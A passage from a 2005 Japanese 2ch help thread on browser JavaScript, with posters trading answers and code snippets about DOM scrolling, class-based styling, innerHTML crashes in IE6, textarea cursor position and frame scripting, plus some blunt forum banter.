Transitionalな場合のスクロール位置を取得する方法ってどうすればよいのでしょうか

いろいろぐぐってみたんだけど、上の方法がほとんどのようで・・・・



881 名前:Name_Not_Found 投稿日:2005/10/30(日) 14:25:59 ID:???
>>880
document.documentElement.scrollLeft
Transitionalと言うか「標準モード」か「互換モード」の違い。

882 名前:Name_Not_Found 投稿日:2005/10/30(日) 16:12:05 ID:???
>>881
できたサンクス

cssの挙動とかも違うところがあるので「標準モード」にしてるけど、ななかそうしてる人少ないみたいね・・・



883 名前:Name_Not_Found 投稿日:2005/10/30(日) 17:30:20 ID:GtpYOaw8
<head>
<script>
<!--
function func(){
var R_k = 255;G_k = 153;B_k = 0;R_w = 0;G_w = 51;B_w = 153;
document.all("idffffff").style.backgroundColor="#"+colcode(Math.round((R_w*255+R_k* 0)/255)*256*256+Math.round((G_w*255+G_k* 0)/255)*256+Math.round((B_w*255+B_k* 0)/255));
document.all("idaaaaaa").style.backgroundColor="#"+colcode(Math.round((R_w*170+R_k* 85)/255)*256*256+Math.round((G_w*170+G_k* 85)/255)*256+Math.round((B_w*170+B_k* 85)/255));
document.all("id555555").style.backgroundColor="#"+colcode(Math.round((R_w* 85+R_k*170)/255)*256*256+Math.round((G_w* 85+G_k*170)/255)*256+Math.round((B_w* 85+B_k*170)/255));
document.all("id000000").style.backgroundColor="#"+colcode(Math.round((R_w* 0+R_k*255)/255)*256*256+Math.round((G_w* 0+G_k*255)/255)*256+Math.round((B_w* 0+B_k*255)/255));
}
function colcode(X){
var Y;
Y=(X*16777217).toString(16);
Y=Y.substr(Y.length-6,6);
return Y;
}
// -->
</script>
</head>
<body>
<table border="0" cellspacing="0" cellpadding="0" width="120" height="30"><tr>
<td bgcolor="ffffff" id="idffffff"></td><td bgcolor="aaaaaa" id="idaaaaaa"></td><td bgcolor="555555" id="id555555"></td><td bgcolor="000000" id="id000000"></td>
</tr></table><br>
<input type="button" value="クリック" onclick="func()">  
</body>

884 名前:883 投稿日:2005/10/30(日) 17:30:55 ID:GtpYOaw8

こんな感じで、背景色がモノクロのテーブルを組んで、
白・黒にそれぞれ色を自由に当てはめられるようにしたいと思っています。
(投稿のために省略していますが、実際にはフォームから色を変更できるようにして。)
セルには、クリックする前の背景色からIDを指定しています。
実際にはセルはもっと増えて、同じIDをもつセルも複数出てきてしまいます。
方針としては、IDではなく、CLASSを割り当ててやりたいと思うのですが、
JavaScriptで、CLASS毎に背景色を変更してやる方法がわからず、困っています。
検索もしてみたのですが、いい方法が見つかっておりません。
よろしくお願いいたします。

885 名前:Name_Not_Found 投稿日:2005/10/30(日) 17:35:00 ID:???
>>874
真面目な話の語尾に「w」とか付けるのもだめだよね。
特に回答してもらって「ありがとうw」とか論外。

886 名前:Name_Not_Found 投稿日:2005/10/30(日) 18:17:23 ID:???
>>884
オブジェクト毎にclassを変更するには
className

CSSの内容自体を変更して同じclassを一気に変更するには
document.styleSheets

使い方はググって下さい。

そもそも、
同じIDを持つって時点で・・・・・・。
まぁ、単純に考えるなら
id="idffffff1"
id="idffffff2"
id="idffffff3"
document.getElementById("idffffff"+ i).styleとでもして、
undefinedまで回せば良いのにこうしないのは謎。


887 名前:Name_Not_Found 投稿日:2005/10/30(日) 18:46:05 ID:???
>>884
クラス毎のスタイルシート変更は過去ログ全集にあるだろ。

888 名前:Name_Not_Found 投稿日:2005/10/30(日) 18:56:42 ID:0o8fQMRw
変数の値を監視して、値が変化したときに実行する関数を書きたいと思い
javascript 変数 監視 などでぐぐって見たのですがうまく見つかりませんでした。
昔どこかでちらっと見かけた気がするのですが…
すみません、やり方ご存じの方教えてください。
ポインタやキーワード示してくださるだけでも構わないです。

889 名前:Name_Not_Found 投稿日:2005/10/30(日) 19:11:05 ID:???
処理系によってはwatchとかあったんだけど汎用性がないから、
今だったらsetInterval()で定期的に値を監視するんだろうと思う。
function myWatch(varname, value, callback, msec) {
setInterval(function() {
if(window[varname]!=value) callback.apply(); value=window[varname]; }, msec);
}
myWattch('x', x, function() { alert('!'); }, 20);

890 名前:888 投稿日:2005/10/30(日) 19:34:02 ID:???
>>889
ありがとうございます。
そうですか、タイマでポーリングする感じになるのですね。
ちょっとがんばってみます。

891 名前:872 投稿日:2005/10/30(日) 19:43:23 ID:???
>>876
レスが遅れてすみません。
なるほど、イベントの認識違いがあるのですね。
これから色々試させて頂きます。

貴重な情報どうもありがとうございました。

892 名前:Name_Not_Found 投稿日:2005/10/30(日) 20:44:00 ID:???
if(hoge==1 || hoge==2 || hoge==100 || hoge==2335)
↑こういう場合hogeと何回も書かずに表現できますか?


893 名前:Name_Not_Found 投稿日:2005/10/30(日) 20:47:13 ID:???
>>892
switch ( hoge ) {
case 1 :
case 2 :
case 100 :
case 2335 :
}

894 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:01:50 ID:???
>>893

質問に明確に書かなかったのが悪かったのかもしれませんが
スマートに短く書く方法はありませんか?という意図でした。
switchを使うと確かにhogeは一回ですみますが
今度はそれぞれの値にすべて同じ処理内容を書くことになってしまいますよね。
そうなるとそっちの方が大変です。


895 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:06:26 ID:???
>>894
if(hoge==1 || hoge==2 || hoge==100 || hoge==2335) {
alert(hoge);
}

switch ( hoge ) {
case 1 :
case 2 :
case 100 :
case 2335 :
alert(hoge);
}
は同じですが。

896 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:07:13 ID:???
>>894
阿呆か。switch文とcaseラベルの勉強してから来い。

897 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:17:14 ID:???
すいません。出直してきます

898 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:45:30 ID:???
aspのスレから誘導されました。
aspにて以下のような画面をつくりたいのですが、
これらを実現するにはJava
アンケート画面をつくりたいのですが、
項目の1つに選択項目が7,8個ありまして、
それを1位から再下位まで順番をつけてもらいたい項目があるのですが、
どんな形で実現すればよろしいでしょうか?
アドバイスお願い致します。

899 名前:898 投稿日:2005/10/30(日) 21:46:29 ID:???
aspのスレから誘導されました。
aspにて以下のような画面をつくりたいのですが、
これらを実現するにはJavaScriptでの処理になるでしょうか?

アンケート画面をつくりたいのですが、
項目の1つに選択項目が7,8個ありまして、
それを1位から再下位まで順番をつけてもらいたい項目があるのですが、
どんな形で実現すればよろしいでしょうか?
アドバイスお願い致します。

900 名前:Name_Not_Found 投稿日:2005/10/30(日) 21:52:01 ID:???
クリックした順番を記録して送信する。

901 名前:Name_Not_Found 投稿日:2005/10/30(日) 22:58:59 ID:???
すなおに順位をselectで選ばせたほうがいいような・・・・
重複チェックはjsでできるね。

902 名前:Name_Not_Found 投稿日:2005/10/30(日) 23:38:03 ID:???
>>896
別に構わないのではないのでしょうか?
私も使っていますよ。下に一部を抜粋します。(実際は数百行になっています)

case '上' : key++; case '中' : key++;
case '下' : key++; case 100 : //
Tx.type = Tx.body.className = 'Tx' + key; return; // 矢印。領域の変更。

case '戻る' : case 110 : //
Tx.act.before(); return; // 戻る。

case '入替' : key++; case '↓複写' : key++;
case '↑複写' : case 120 : //
var a = Tx.main.value; //
var b = Tx.show.value; //
if(key != 1) Tx.main.put(b); //
if(key != 0) Tx.show.put(a); return; //

case 'ページの上へ' : case 130 : //
Tx.act.blur(); Tx.act.scrollTop = 0; return; //

903 名前:Name_Not_Found 投稿日:2005/10/30(日) 23:56:19 ID:???
>>902
話が噛み合ってない気が・・・。

904 名前:Name_Not_Found 投稿日:2005/10/31(月) 00:36:50 ID:???
そう言えばswitchなんてのもあったんだなぁ・・忘れてた

905 名前:Name_Not_Found 投稿日:2005/10/31(月) 01:09:05 ID:???
>>902
もっかい質問者の応答を良く読んだら。
>>899
こんなんでどうかな。見ためはもうちょっと飾るとしてさ。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
function up(e) {
var f = document.getElementById('d0'), a = f.getElementsByTagName('div');
for(var i = 0; i < a.length; ++i) {
if(a[i] == e && i > 0) f.insertBefore(e, a[i-1]);
}
for(var i = 0; i < a.length; ++i) {
var input = a[i].childNodes[0], text = a[i].childNodes[1];
input.value = i; text.nodeValue = i + text.nodeValue.substring(1);
}
}
</script>
</head><body>
<form name="f0" action="#"><div id="d0">
<div onclick="up(this)"><input type="hidden" name="dog" value="0">0 Dog</div>
<div onclick="up(this)"><input type="hidden" name="cat" value="1">1 Cat</div>
<div onclick="up(this)"><input type="hidden" name="cow" value="2">2 Cow</div>
</div><div><input type="submit"></div></form>
</body></html>

906 名前:Name_Not_Found 投稿日:2005/10/31(月) 05:28:15 ID:4SgHgpHP
JavaScriptで、テーブルを表示するソースを作成し、
それを innerHTML にて<div>要素に表示、非表示する仕組みを作っています。

  src = '';
  src += '<table 〜>';
  ....
  src += '</table>';
  obj = document.getElementById('print_id');
  obj.innerHTML = ''; // 一度クリア
  obj.innerHTML = src; // セット

表示されるテーブルにはinputボタンを設置し、onClickイベントで
「obj.innerHTML = '';」といった処理が書かれた関数を呼び出し、
自身を消去するように設定してあります。

これをHTMLから <script type="text/javascript" src="test.js"></script>
で呼び出し実行、FirefoxやOperaからは思い通りに動き、
IE6でもOKかと思いましたが、自身を消去するinputボタンを使い、
表示、非表示を繰り返していると、IEがエラーを起こし、強制終了されてしまいます。

innerHTML でソースを入れ込む際、IEの場合は一度「= ''」で空にしないと、
同じように強制終了されるようですが、今回の原因が分かりません。
生成するテーブルタグのソースを減らしてやると、
中々エラーが出にくかったりするのですが、結局はエラーで強制終了になります。

IEの場合 innerHTML には癖のようなものがあるのでしょうか。

907 名前:Name_Not_Found 投稿日:2005/10/31(月) 06:54:07 ID:???
window.createPopup();
で作ったウィンドウをクリックした時に消したいんですが
window.close()を使うと確認ダイアロングが出てしまいます。
回避策はありませんか?

908 名前:906 投稿日:2005/10/31(月) 07:34:30 ID:4SgHgpHP
>>906の質問の追記ですが、
自身を消去するinput要素に「onClick="eraseTable(); alert('End');"」
と設定したところ、アラートが表示された後にエラーが発生し、強制終了されます。

function eraseTable() {
  document.getElementById('print_id').innerHTML = '';
}

生成するテーブルタグのソースを減らしてやると、エラーが発生しにくくなると書きましたが、
さらに少なくすると、エラーは発生しないようです。

document.getElementById(calculatorId).innerHTML を確認して、
エラーになるソースを確認したところ、
<input type="button" value=" 閉じる " onClick="eraseTable();" />
が、
<INPUT onclick="eraseTable();" type=button value= 閉じる >
等、IE独自の形式に置き換わっていましたが、これが関係あるかどうか分かりません。

909 名前:Name_Not_Found 投稿日:2005/10/31(月) 09:00:09 ID:???
>>906
死ぬったらバグだろ。テーブルの表示非表示をその方法
でやるのは荒技すぎると思うね。display:noneか
visibility:invisibleでやれば(過去ログに山盛りあるから
やり方の質問はしないように)。
innerHTMLに入れたものと出したものが同じでないのは
当り前じゃん。過去ログ読んでないの丸わかりだぞ。

>>907
通常の窓を使うしかないと思うね。

910 名前:906 投稿日:2005/10/31(月) 09:10:46 ID:4SgHgpHP
出来るだけ短くしたものを用意してみました。
WindowsのIE6で開き、画像とOKボタンを交互に10〜20回程押し、
合間に更新ボタンを押すのを3〜5回ほど反復すると、エラーになります。

--- index.html ---
<html>
<head></head>
<body>
<script language="JavaScript" type="text/javascript" src="test.js"></script>
<img src="test.gif" width="16" height="16" border="0" alt="test" onClick="writeTest('print_id');" onMouseover="this.style.cursor='hand'" /><br />
<div id="print_id" style="position: absolute;"></div></td>
</body>
</html>

911 名前:906 投稿日:2005/10/31(月) 09:18:42 ID:4SgHgpHP
--- test.js ---
var mId = '';
function writeTest(iId) {
mId = iId;
var src = "";
src += '<table width="" cellspacing="0" cellpadding="1">';
src += '<tr>\n';
src += '<td style="text-align:right;">\n';
src += '<input type="button" value=" OK " onClick="eraseTest();" />';
src += '<input type="button" value="閉じる" onClick="eraseTest();" /></td>\n';
src += '</tr>\n';
src += '</table>\n';
document.getElementById(iId).innerHTML = '';
document.getElementById(iId).innerHTML = src;
}
function eraseTest() {
if (mId != '') {
document.getElementById(mId).innerHTML = '';
}
mId = '';
}

>>909
すみません、過去ログはさっと検索してみましたが、もう一度しっかり調べてみます。

ただ、同じような仕組みでもっと複雑なことをやっているのに、
エラーがでないものもあり、よく分かりません。(例えば↓)
http://game.gr.jp/js-ml/samples/199912/calendar/cal2.htm
自分のソースの書き方がおかしいのでしょうか。

912 名前:Name_Not_Found 投稿日:2005/10/31(月) 09:33:39 ID:???
もちろん、一番怪しいのは自身を消去するボタンという
とこだろ。それをやめれば死ななくなるとは思うけど。
荒技でブラウザに負担掛けるのはダサいと思うよ。

913 名前:Name_Not_Found 投稿日:2005/10/31(月) 09:46:26 ID:???
>>910
</td> が余っている。
空要素の開始タグが /> で終わっているから、XHTML の一部らしい。
仮にそうだとすれば、大文字小文字に注意しなければならないが、
XHTML の DTD には小文字で定義されているはずの
イベント属性が大文字小文字混在の謎属性になっている。

914 名前:906 投稿日:2005/10/31(月) 10:19:48 ID:4SgHgpHP
>>912
ご指摘ありがとうございます。

>>913
失礼しました、</td>は元のソースからの省き忘れです。
DOCTYPE宣言も、XHTML 1.0 Transitionalにして試しましたが、
やはり同じくエラーになりました。
IEでのinnerHTMLが置き換える要素、属性も関係あるんでしょうかね

>>909>>912さんの言われるとおり、
別の方法も模索してみます。

915 名前:Name_Not_Found 投稿日:2005/10/31(月) 10:28:36 ID:???
>>910
<input> ボタンや、<a href> などでは、主に、Event#preventDefault() を使う時に、
click でなければならないことがある。しかし、<img> の場合、mouseup が適切である場合が、
圧倒的に多い。人の意思決定は mouseup とシンクロしている。

>>911
JScript では + を使って文字列を結合すべきではない。Array#join() を使う。
JavaScript1.5 では全く気にする必要は無い。

役割というものを考えて、処理を分割した方が良い。
writeTest() と eraseTest()。
しかし、前者には、HTML ソーステキストを作るという役割が含まれてしまっている。
もし、getSrc() みたいな関数を作って、処理を分けていたとしたら、
テストがより細かく容易に出来たはず。そもそも、文字列を作る速さは、
このテストの主要目的の一つだったはず。

916 名前:Name_Not_Found 投稿日:2005/10/31(月) 10:43:27 ID:???
>>911
function bench(func) {
  var s = new Date();
  func();
  alert(new Date() - s);
}
function fGetSrc() {
  return ['<table border="1">',
         '<caption>1024 x 16, fast<\/caption>',
         '<tbody>',
         new Array(1024 + 1)
         .join('<tr>' + new Array(16 + 1).join('<td>\t<\/td>') + '<\/tr>')
         .replace(/\t/g,
                  function () {return Math.floor(Math.random() * 16384);}),
         '<\/tbody><\/table>'
         ].join('');
}
function sGetSrc() {
  var src = '<table border="1">'
            + '<caption>1024 x 16, slow<\/caption>'
            + '<tbody>';
  for (var i = 0; i < 1024; i++) {
    src += '<tr>';
    for (var j = 0; j < 16; j++) {
      src += '<td>' + Math.floor(Math.random() * 16384) + '<\/td>';
    }
    src += '<\/tr>';
  }
  src += '<\/tbody><\/table>';
  return src;
}

917 名前:906 投稿日:2005/10/31(月) 11:06:48 ID:???
>>915-916
なるほど、勉強になります。
ベンチ用のソースまで頂き、どうもありがとうございます。
まだ独学を始めたばかりで、分からないメソッド等ありますが、
リファレンス片手に頑張ってみます。

918 名前:Name_Not_Found 投稿日:2005/10/31(月) 13:04:19 ID:???
すみません

HTMLは狂っている
http://pc8.2ch.net/test/read.cgi/hp/1129474214/
ここの>>1を引き取ってもらえませんか?

919 名前:Name_Not_Found 投稿日:2005/10/31(月) 13:13:14 ID:???
>>918
JSに関係ないじゃん。このスレはプログラミングができない奴は
自動的に排除されるからああいうキチガイが来なくて嬉しい。

920 名前:Name_Not_Found 投稿日:2005/10/31(月) 13:54:24 ID:???
JavaScriptの中でよく使う計算処理がある場合、その処理をする
関数を設定して整理する場合と、その処理が出てくるたびに、
長い式をそこに埋め込むのと、計算にかかる速度を考えた場合、
どちらが速くなるんでしょうか?

921 名前:Name_Not_Found 投稿日:2005/10/31(月) 14:08:46 ID:???
>>920
関数を読んでもその中で同じ計算するんだったら「ほぼ同じ、
ただし関数を読んで戻るぶんだけオーバヘッドが掛かる」に
決まってるだろ。見た目と計算時間と混同するんでないよ。

計算時間気にするよりまずは見た目分かりやすく読みやすく
書け。それで遅かったらその時改良すればよい。

922 名前:Name_Not_Found 投稿日:2005/10/31(月) 14:16:00 ID:???
>>921
ありがとう。


923 名前:Name_Not_Found 投稿日:2005/10/31(月) 16:45:28 ID:u5MSLOSR
WinIE以外で、<input><textarea>内のカーソルの位置を知る方法ってないんでしょうか?
カーソルの位置に、特定のワードを挿入するような仕組みを作りたいです。

924 名前:Name_Not_Found 投稿日:2005/10/31(月) 19:21:18 ID:???
IE以外はそういう機能ないんじゃないかな。

925 名前:Name_Not_Found 投稿日:2005/10/31(月) 19:58:43 ID:???
883>>886-887
ありがとうございました。
おかげで上手くいきました。
御礼が遅れてすみませんでした。

>>886
idははじめから使う気はなかったんですが、「何がしたいのか」を
説明するために、あのような形になりました。
>>884にも書いたとおり、classを使う事にしました。
ありがとうございました。

>>887
検索ワードが悪かったようで、どうもすみませんでした。
classNameで検索して、参考になる書き込みが見つかりました。
ありがとうございました。

926 名前:Name_Not_Found 投稿日:2005/10/31(月) 20:17:51 ID:???
>>923
GeckoにはselectionStart/selectionEndがある。
あとOperaもTextRangeに一部対応してたような気がする。

927 名前:Name_Not_Found 投稿日:2005/10/31(月) 21:01:25 ID:???
>>923
要するにこんな感じでしょ
http://ja.wikipedia.org/w/index.php?title=Wikipedia:%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9&action=edit§ion=6
自分 FireFoxだけど使用できたし。スクリプト覗いてないけど参考になると思うから覗いてみ。

>>924
お前は何を根拠にそんな発言をしたのかと小一時間(ry

928 名前:Name_Not_Found 投稿日:2005/10/31(月) 22:49:33 ID:???
>>926-927 なるほどこうやるのか。Gecko専用ね。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
function test(ch) {
var a = document.getElementById('a0'), s = a.value, p = a.selectionStart;
a.value = s.substring(0, p) + ch + s.substring(p);
}
</script>
</head><body>
<div><textarea id="a0" cols="20" rows="5"></textarea>
<button onclick="test('a')">Test</button></div></body></html>

929 名前:Name_Not_Found 投稿日:2005/10/31(月) 23:40:10 ID:wky1hhSj
はじめまして。
以下のように3つのフレームに分けた場合、
frame1 から見て frame2 はどのように指定するのですか?
parent.frame2 ではないようなのですが…。
よろしくお願いします。

<frameset cols="50%,*">
  <frame src="frame1.html">
  <frameset rows="50%,*">
    <frame src="frame2.html" name="frame2">
    <frame src="frame3.html" name="frame3">
  </frameset>
</frameset>

930 名前:Name_Not_Found 投稿日:2005/11/01(火) 00:11:18 ID:???
>>929
framesetに名前つけないから悪いんだろ。まずHTMLを正しくしないと
JSでの操作なんてボロボロになるよ、勉強しなおしてこい。
「parent.frames.内側フレームセットの名前.frames.frame2」かな。

931 名前:Name_Not_Found 投稿日:2005/11/01(火) 00:26:29 ID:???
top.frames.frame2.document.forms・・・・・・

932 名前:Name_Not_Found 投稿日:2005/11/01(火) 00:35:20 ID:???
>>917
>>911で落ちないと言っているサイトのスクリプト見たが
innerHTMLで内容をクリアなんてしてないじゃん。
「よく分かりません。」ってソースすら追ってないのか?

とりあえず、
>>911のjsをそのサイトの方法に似せて作り直した。
落ちるか落ちないかは知らんが。
--- test.js ---
var mId = '';
var x = 0;
var y = 0;
function writeTest(iId) {
if(mId==''){
mId = iId;
var src = "";
src += '<table width="" cellspacing="0" cellpadding="1">';
〜略〜
src += '</table>\n';
document.getElementById(iId).innerHTML = '';
document.getElementById(iId).innerHTML = src;
x = document.getElementById(iId).offsetTop;
y = document.getElementById(iId).offsetLeft;
}else{
document.getElementById(mId).style.left = y;
document.getElementById(mId).style.top = x;
}
}
function eraseTest() {
document.getElementById(mId).style.left = -2000;
document.getElementById(mId).style.top = -2000;
}

933 名前:Name_Not_Found 投稿日:2005/11/01(火) 00:59:37 ID:???
>>932
何のために一旦 innerHTML = "" としてんだ?
まさか、質問者の宗教を鵜呑みにしてんのか?

934 名前:Name_Not_Found 投稿日:2005/11/01(火) 01:10:24 ID:???
>>933
ん、元々のソースに追加しただけだから
残ってるだけなんだが・・・・・。


935 名前:Name_Not_Found 投稿日:2005/11/01(火) 01:46:55 ID:???
ここは、感じの悪い奴が居るスレですねw

936 名前:Name_Not_Found 投稿日:2005/11/01(火) 02:03:46 ID:???
人の評価はどうでもいい。JSの質問をしろ。ヴォケ

937 名前:Name_Not_Found 投稿日:2005/11/01(火) 02:11:05 ID:???
IE専なオレが今来ましたよ
解決してない質問はありますか?

938 名前:Name_Not_Found 投稿日:2005/11/01(火) 02:11:45 ID:???
    ∧_∧
    (´・ω・)       ∧_∧
   /    \      (´∀` ) ハハハ
__| |     | |_   /    ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||. . (    )     ~\_____ノ|  ∧_∧.
.  _/   ヽ          \|   ( ´_ゝ`) 何だコイツ?
.  |     ヽ          \ /    ヽ.
.  |    |ヽ、二⌒)       / .|   | |
.  .|    ヽ \∧_∧   (⌒\|__./ ./
   ヽ、___ (    ) プッ  ~\_____ノ|  ∧_∧
.         _/   ヽ          \|  (´Д` )誰が呼んだんだよヒソヒソ
.         |     ヽ          \ /    ヽ、
.         |    |ヽ、二⌒)       / .|   | |
.         .|    ヽ \\       (⌒\|__./ ./
.         ヽ、____ \\       ~\_____ノ|

939 名前:Name_Not_Found 投稿日:2005/11/01(火) 02:12:59 ID:???
じゃ、寝る
|彡サッ

940 名前:Name_Not_Found 投稿日:2005/11/01(火) 04:49:48 ID:???
>>932
リファレンスを引きながら、要所のソースを追ってみたですが、
よく分かっていなかったようです。
そこのサンプルは、画面外に逃がす仕組みのようですね。

非表示にする際は、
要素.style.display='none';
で解決しました。
頂いたサンプルも後ほど試させて頂きます。

一旦、innerHTML = "" しないと
エラーが出た記憶があるのですが、
現在は取り除いてあります。
一杯一杯だったので、何か勘違いしてたようです。

ありがとうございました。

941 名前:Name_Not_Found 投稿日:2005/11/01(火) 05:04:17 ID:???
>>940
document.openしたら
document.closeしないといけないっていうのと勘違いじゃない?

942 名前:Name_Not_Found 投稿日:2005/11/01(火) 05:22:19 ID:???
>>941
その例えが適切なのか微妙なとこで分からんw

943 名前:Name_Not_Found 投稿日:2005/11/01(火) 05:45:14 ID:???
ブラウザごとの違いをまとめたサイトありませんか?

944 名前:Name_Not_Found 投稿日:2005/11/01(火) 07:30:20 ID:???
>>943
腐るほどあるからググれ

945 名前:Name_Not_Found 投稿日:2005/11/01(火) 08:47:06 ID:???
>>943
そんなまとめ見ても大して役立たん。そういうの見てブラウザ
判別して同じようなコード3つも4つも書いたりしてさ。それで
力尽きてIE専になったりして。そんなことより、まず標準準拠
で書いて各ブラウザで違うとこをちょこっと手当てするワザの
修練積んだ方がよっぽどいいだろ。

946 名前:Name_Not_Found 投稿日:2005/11/01(火) 09:05:07 ID:???
新スレは975超えたら。テンプレの変更要望は今回はないよね?

947 名前:Name_Not_Found 投稿日:2005/11/01(火) 09:24:20 ID:???
>>946
どんな馬鹿だお前

948 名前:943 投稿日:2005/11/01(火) 09:58:22 ID:???
>>495
いーじゃねえか。やりたいようにして、どこが悪いの?

949 名前:Name_Not_Found 投稿日:2005/11/01(火) 10:02:14 ID:???
>>554-577はどうすんだ。
わざわざテンプレいれるまでもないと思うのだが。

あと、特に
>>2-3も過去スレ検索もしない奴が多い。

>>1の名前にでも
「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」
とでも入れるのはどうだろう?

950 名前:Name_Not_Found 投稿日:2005/11/01(火) 10:04:52 ID:???
>>949初めから誘導か?ワロタ

951 名前:Name_Not_Found 投稿日:2005/11/01(火) 11:39:47 ID:???
改訂案:
━━━━━JavaScript質問スレ道場訓━━━━━
 一、礼節を重んじ常に努力精進すること
 一、ブラクラに打ち勝つ精神力を持つこと
 一、心身の優れたJavaScriptを学ぶこと
 一、雑草の如く生涯JavaScriptを貫くこと
 一、感謝と反省を忘れないこと
 以上
━━━━━━━━━━━━━━━━━━━━━━

このスレに書き込むことが許されるものは以下のとおり
・テンプレ/FAQ/過去ログ/関連資料を読める者。とくに>>2-10は必須!!!
・JavaScriptとJavaの違いを理解する者
・スクリプトを組むための最低限のHTML・CSSを理解する者
・ユーザーに迷惑となるスクリプトを書かない者
・「初心者です」を振りかざさず、質問を分かる日本語で説明できる者
・対象環境や使用技術は質問者の裁量であることを理解する者
 (質問/回答時はなるべく環境明記。WinIE5.5/N6未満と希少ブラウザは必須!)

[必読]過去スレ全集 http://user.ftth100.com/mirrorhenkan/javascript/
前スレ http://pc8.2ch.net/test/read.cgi/hp/1127133050/l50
まとめサイト http://web2ch.s31.xrea.com/?JS
FAQ・注意・過去ログ・関連資料・関連スレ>>1-10またはまとめサイト

952 名前:Name_Not_Found 投稿日:2005/11/01(火) 16:02:15 ID:c2m+omHy
>>930
>>931
ありがとうございました。
別のフレームをスクロールさせたかったのですが、
parent.frame2.scroll(0,100);
で動きました。

ちなみにはじめは「name="frame2"」ではなく「name="frame_2"」
としていたのですが「_」が含まれるとエラーになるようですね。


953 名前:Name_Not_Found 投稿日:2005/11/01(火) 16:15:41 ID:c2m+omHy
たびたび質問申し訳ありません。
別フレームのスクロールについてです。

<frameset cols="50%,*">
  <frame src="frame1.html">
  <frameset rows="50%,*">
    <frame src="frame2.html" name="frame2">
    <frame src="http://www.goo.ne.jp.html" name="frame3">
  </frameset>
</frameset>

上のようにフレームを分けて
frame1に以下のスクリプトを書くと

function frame2scroll(){
  parent.frame2.scroll(0,100);
}
function frame3scroll(){
  parent.frame3.scroll(0,100);
}

frame2scroll()は動いたのですが、
frame3scroll()はエラーになりました。
frame3をスクロールさせる方法はないのでしょうか?

ちなみにJavaScriptコンパクトリファレンス
(毎日コミュニケーションズ)の183ページには
「フレームに自サイト以外のURLを表示している時は、
セキュリティを保つために、そのフレームに表示している
ドキュメントの情報を参照、設定することができません。」
とあるのですが、関係ありますか。


954 名前:Name_Not_Found 投稿日:2005/11/01(火) 16:17:10 ID:c2m+omHy
すみません。
<frame src="http://www.goo.ne.jp" name="frame3">
です。


955 名前:Name_Not_Found 投稿日:2005/11/01(火) 16:54:54 ID:???
>>953
当然関係ある。他鯖の窓はなんっっっっっっにも操作できない
から。それだけ。

でもスクロールさせる方法はあるよ。それは他鯖の窓を巨大な
iframeに入れた自鯖ページを作って、その自鯖ページの入った
フレームをスクロールさせること。

あとあんたね、最初の質問はageてくれていいけど、あとは
sage進行にしないと迷惑だろ。ageとsageが分からないんなら
2ちゃんの入口あたりで勉強してから来い。

956 名前:Name_Not_Found 投稿日:2005/11/01(火) 18:47:31 ID:???
>>955
アドバイスありがとうございます。
ご迷惑おかけしました。

957 名前:Name_Not_Found 投稿日:2005/11/01(火) 19:07:33 ID:???
>>955
スクロールの方法はちょっと面白かった。ナイス

958 名前:Name_Not_Found 投稿日:2005/11/01(火) 19:27:45 ID:ZuI4nhNT
すいません。PhotoshopとJSをつなげたいのですが、まず、Photoshop
の方に伺いたいとおもいます。2chでは、どこへいけばよいのでしょうか。
URLを教えてください。


959 名前:Name_Not_Found 投稿日:2005/11/01(火) 19:50:36 ID:???
Firefoxでフレームのサイズを得るにはどうしたらよいでしょうか?
IEでは以下のように出来ました。
document.getElementById(フレームのID).clientWidth

960 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:01:49 ID:???
>>958
分からん。Photoshopってプラグインとかあるの?単なる画像
が作れるだけだと思っていた…
>>959
Gecko系ではinnerWidthとかじゃないの。

961 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:09:56 ID:???
>>959
ttp://developer.mozilla.org/en/docs/Gecko_DOM_Reference
読め。Element の プロパティの所だ。

962 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:12:11 ID:???
>>958
知らんけどPhotoshopCSならこれ読めば大体よさそうだよ。
ttp://www.openspc2.org/book/PhotoshopCS/


963 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:28:26 ID:???
>>958
http://ttsearch.net/

964 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:30:50 ID:YJT2b3bk
MacIE5.1.7で選択文字列の取得がうまくいかないんだけど
どうしたらうまくいくのかな?

965 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:44:38 ID:???
>>958
日刊デジクリで古旗氏が決行前からフォトショのJSについて書いている。

966 名前:Name_Not_Found 投稿日:2005/11/01(火) 22:49:10 ID:???
>>964
その説明でアンタが間違ってるのかMac IEの問題なのか
分かるわけがないじゃん。アンタの質問はまったく何の
意味もないってことだ。帰れば?

967 名前:Name_Not_Found 投稿日:2005/11/02(水) 00:24:04 ID:???
>>923
に便乗して。
以前そういう類のスクリプトは作ったことがあります。
最新のIE、Gecko、Operaでは動くようにしましたが、どうしてもSafariで実現できませんでした。
Safariで出来る方法ってあります?



968 名前:Name_Not_Found 投稿日:2005/11/02(水) 00:55:11 ID:???
>>966
MacIEで選択文字列の取得といったらgetSelectionかselection系の事しかない。
これだけ絞られるんだから理解できるはず。

分からないのはおまえが馬鹿だからだよwwwwww

969 名前:Name_Not_Found 投稿日:2005/11/02(水) 02:10:03 ID:???
ツールバーの[検索]で表示されるHTMLに自分の書いたページを指定した。
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search の SearchAssistantで)

やりたい事は。。。
そのHTMLに記述したJavaScript(JScript?)で、お気に入りフォルダにある全ての「*.url」から「url=・・・・・・」のリストを作り、200x150くらいのインラインフレームで一覧表示した。
ようはお気に入りをビジュアル的に表示したいってことなんですが。
ファイル一覧やURLの読み込み処理のスクリプト自体はなんてことないのですが、セキュリティの設定方法がわかりません。
ローカルに置いたHTMLでスクリプトを実行すると
